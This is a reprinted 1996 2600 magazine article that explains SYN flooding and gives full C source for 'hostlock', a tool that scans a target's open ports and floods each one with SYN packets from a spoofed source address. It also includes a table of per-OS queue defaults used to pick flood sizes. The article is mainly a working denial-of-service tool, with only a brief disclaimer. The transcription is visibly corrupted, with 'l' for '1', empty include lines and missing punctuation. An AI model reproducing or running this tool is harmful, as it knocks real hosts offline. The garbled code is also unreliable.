2600, Summer, 1996, pp. 6-11. FLOOD WARNING by Jason Fairlane This program was written for, and tested on, a Linux machine with a kernel patch in place to allow ip source address spoofing. It will most likely not work on any other architecture. If you happen to port it to another architecture, contact me at: jfair@2600.com. Description [To all the people who know this already: Yes, this is a pretty weak description of TCP mechanics, but it suits our purpose just fine.] This program scans a host to determine which ports are open, or listening for connections. Once a list of receiving ports has been compiled, the program then floods each of them with the specified number of SYN packets. A SYN packet is the first portion of the TCP "Three-Way Handshake". It basically says, "Hey, over here... I want to connect to you." When a TCP/IP stack receives a SYN pacet, it responds with a SYN/ACK. which says "OK, you can connect to me, just let me make sure it's you." At this point, it is waiting for an ACK, which says "Yeah, it's really me!". Now,if the source address in the SYN packet does not exist, but has a path to it in place, that SYN/ACK will never be answered with an ACK, and the TCP/IP stack will wait forever for that packet (actually until a certain amount of time has passed which is implementation-dependent). If a whole bunch of those faked SYN packets are received simultaneously, the connection queue of the target machine will he filled. The connection queue is the number of half-open (SYN_RECEIVED) connections the kernel will allow on a port before it starts dropping further connection requests to that port. For each Operating System there is a standard default, which may be configurable by the superuser. The default included with this program is 33, which will flood a good 90% of the machines out there. You may specify a particular number, with the "-n" command-line switch. Example: "# hostlock my test site.com-l 500 -h 520 -n 1024" would flood every receiving port in the range of 500-520 on mytest.site.com with 1024 SYN packets, the default for Solaris 2.5. Disclaimer: Don't use this software without permission. I'm serious. It's very very very bad. This is probably one of the worst forms of Denial-Of-Service attacks there is. No one will be able to connect to your target's machine. It's bad. _______________________________________________________________ OS Version Default Configurable? Solaris 2.5 1024 Yes Windows NT ALL 110 No Solaris 2.4 32 Yes Solaris 2.0-2.3 8 Yes SunOS ALL 8 Yes Generic SVR4 ALL 8 Maybe (*) Generic BSD 4.3/4.4 8 Maybe (*) Linux ALL 5 Yes (*) = Depending on the implementation _______________________________________________________________ /* !!THIS PROGRAM IS EXTREMELY DANGEROUS!! NO GUIDELINES * ARE PROVIDED FOR THE CODE CONTAINED HEREIN. IT IS MERELY * A DEMONSTRATION OF THE POSSIBLE DESTRUCTIVE USE OF IP * SPOOFING TECHNIQUES. THE AUTHOR CLAIMS NO RESPONSIBILITY * FOR ITS USE OR MISUSE. - JF (3/8/96) */ #include #include #include #include #include #include #include #include #include #include #include #include #include #define PACKET_SIZE sizeof(struct tcppkt) /+ Configurable defaults. These are specifiable via the command line. */ #define DEF_BADDF "l32.45.6.8" #define DEF_SYNS 32 #define DEF_MAX 32768 /* (See Accompanying Table) */ #define DEF_LOW struct tcppkt { struct iphdr ip; struct tcphdr tcp; }; u short ports[DEF_MAX]; void usage(progname) char *progname; { fprintf(stderr, "Hostlock v.0l\n"); fprintf(stderr, "Usage: %s [options]\n", progname); fprintf(stderr, "Options:\n\ -b [addr]\tAddress from which the SYNflood packets should appear to be.\n\ \t\tThis address should have correct routing records, but not exlst.\n\ -l [port]\tPort to begin scanning from.\n\ -h [port]\tPort to end scanning on.\n\ -d [port]\tSpecific port to flood.\n\ -n [syns]\tNumber of SYN packets to flood with.\n"); exit(l); } u_long resolve(host) char *host; { struct hostent *he; u_long addr; if( (he = gethostbyname(host)) == NULL) { addr = inet_addr(host); } else { bcopy(*(he->h_addr_list), &(addr), sizeof(he->h_addr_list)); } return(addr); } /* From ping.c */ /* *in cksum - * Checksum routine for Internet Protocol family headers (C Version) */ unsigned short in_cksum(addr, len) u_short *addr int len; { register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer = 0; while (nleft > l) { sum += *w++; nleft -= 2; } if (nleft == l) { *(u_char *)(&answer) = *(u_char *)w ; sum += answer; } sum = (sum >> l6) + (sum & 0xffff); sum += (sum >> l6); answer = -sum; return(answer); } int sendsyn(sin, s, saddr, sport, seq) struct sockaddr_in *sin; u_long saddr, seq; u_short sport; int s; { register struct iphdr *ip; register struct tcphdr *tcp; register char *php; static char packet[PACKET_SIZE]; static char phead[PACKET_SIZE + l2]; u_short len = 0; /* Overlay IP header structure onto packet. */ ip = (struct iphdr *)packet; /* Fill in IP Header values. */ ip->ihl = 5; ip->version = 4; ip->tos = 0; ip->tot_len = htons(PACKET_SIZE) ip->id = htons(2600 + (rand()%32768)); ip->frag_off = 0; ip->ttl = 255; ip->protocol = IPPROTO_TCP; ip->check = 0; ip->saddr = saddr; ip->daddr = sin->sin_addr.s_addr; /* The Linux kernel automatically checksums outgoing raw packets. * however, other implementations might not, so if you are porting, * remember to uncomment this line. * ip->check = in_cksum((char *)&ip, sizeof(struct iphdr)); */ /* Overlay TCP Header structure onto packet. */ tcp = (struct tcphdr *)(packet + sizeof(struct iphdr)); /* Fill in TCP Header values. */ tcp->th_sport = htons (sport); tcp->th_dport = htons (sin->sin_port); tcp->th_seq = htonl(seq); tcp->th_ack = 0; tcp->th_x2 = 0; tcp->th_off = 5; tcp->th_flags = TH_SYN; tcp->th_win = htons(l0052); tcp->th_sum = 0; tcp->th_urp = 0; php = phead; memset(php, 0, PACKET_SIZE + l2); memcpy(php, &(ip->saddr), 8); php += 9; memcpy(php, &(ip->protocol), l); len = htons(sizeof(struct tcphdr)); memcpy(++php, &(len), 2); php += 2; memcpy(php, tcp. sizeof(struct tcphdr)); /* Now fill in the checksum. */ tcp->th_sum = in_cksum(php, sizeof(struct tcphdr)+l2); /* And send... */ return(sendto(s, packet, PACKET_SIZE, 0, (struct sockaddr *)sin sizeof(struct sockaddr_in))); } int synscan(saddr, sport, lo, hi, s, r, sin) u_long saddr; u_short sport, lo, hi; int s, r; struct sockaddr_in *sin; { struct tcppkt buf; int i, total = 0; for(i = lo ; i <= hi ; i++) { sin->sin_port = i; if( (sendsyn(sin, s, saddr, sport, 3l337)) == -l) { perror("Error sending SYN packet"); exit(l); } for(;;) { memset(&buf, 0, PACKET_SIZE); read(r, &buf, PACKET_SIZE); /* Is it from our target? */ if( buf.ip.saddr != sin->sin_addr.s_addr ) continue; /* Sequence number ok? */ if( (ntohl(buf.tcp.th_ack) != 3l338) && (ntohl(buf.tcp.th_ack) != 3l337)) continue; /* RST/ACK - No service listening on port. */ if( (buf.tcp.th_flags & TH_RST) && (buf.tcp.th flags & TH_ACK)) break; /* SYN/ACK - Service listening on port. */ if( (buf.tcp.th_flags & TH_ACK) && (buf.tcp.th_flags & TH_SYN)) { ports[total] = ntohs(buf.tcp.th_sport); printf("%d\n", ports[total++]); fflush(stdout); break; } } /* for(;;) */ } return(total); } void synflood(baddr, bport, s. numsyns, sin) u_long baddr; u_short bport, numsyns; int s; struct sockaddr_in *sin; { int i; printf("%d", sin->sin_port); fflush(stdout); for(i = 0 ; i < numsyns ; i++) { usleep(30); if( (sendsyn(sin, s. baddr, bport++, 3l337)) == -l) { perror("Error sending SYN packet"); exit(l); } printf(","); fflush(stdout); } printf("\n"); } void main(argc, argv) int argv; char **argv; { struct sockaddr_in sin; u_long saddr, daddr, baddr; u_short i, numsyns, lo, hi; u_short sport = 2600, bport = 2600; char buf[256]; int s, r, total; total = numsyns = lo = hi = baddr = 0; /* Minimum usage is "hostlock " */ if(argc < 2) usage(argv[0]); if( (daddr = resolve(argv[l])) == -l) { fprintf(stderr, "Bad hostname/ip address: %s\n", argv[l]); usage(argv[0]); } for(i = 2 ; i < argc ; i ++) { switch(argv[i][l]) { case 'b': case 'B': if( (baddr = inet_addr(argv[++i])) == -l) { fprintf(stderr, "Bad hostname/ip address: %s\n", argv[l]); fprintf(stderr, "Defaulting to %s...\n", (DEF_BADDR); baddr = inet_addr(DEF_BADDR); } break; case 'l': case 'L': lo = atoi(argv[++i]); break; case 'h': case 'H': hi = atoi(argv[++i]); break; case 'd': case 'D': hi = lo = atoi(argv[++i]); break; case 'n': case 'N': numsyns = atoi(argv[++i]); break; default: fprintf(stderr, "Unknown option: -%c\n", argv[i][l]); usage(argv[0]); break; } } /* Institute defaults if these options have not been specified. */ if(!numsyns) numsyns = DEF_SYNS; if(!lo) lo = DEF_LOW; if(!hi) hi = DEF MAX; if(!baddr) baddr = inet_addr(DEF_BADDR); /* Fill in our sockaddr_in structure. */ sin.sin_family = PF_INET; sin.sin addr.s_addr = daddr; sin.sin port = 0; if( (gethostname(buf. 256)) == -l) { perror("Unable to get our hostname"); exit(l); } if( (saddr = resolve(buf)) == -l) { perror("Unable to resolve our hostname"); exit(l); } /* Open our sending and receiving sockets. */ if( (s = socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("Unable to open a raw socket"); exit(l); } if( (r = socket(PF_INET, SOCK RAW, IPPROTO_TCP)) < 0) { perror("Unable to open a raw socket"); exit(l); } printf("Performing hostlock on %s ports %d to %d. \n", inet_ntoa(sin.sin_addr), lo, hi); /* Scan. */ printf("Scanning...\n"); fflush(stdout); total = synscan(saddr, sport, lo. hi, s, r, &sin); printf("Scan completed. %d receiving ports found.\n", total); sleep(2); /* Pause to let everything clear out. */ printf("Flooding ports with %d SYNs each...\n", numsyns); fflush(stdout); /* Flood. */ if( total ) { for(i = 0 ; i < total ; i++) { sin.sin port = ports[i]; synflood(baddr, bport, s, numsyns, &sin); } } printf("Hostlock completed. Exiting.\n"); exit(0); } ---------- Thanks to XX. ---------- See two SYN flood alerts published since JF's paper: http://jya.com/sunsyn.txt http://jya.com/ibmsyn.txt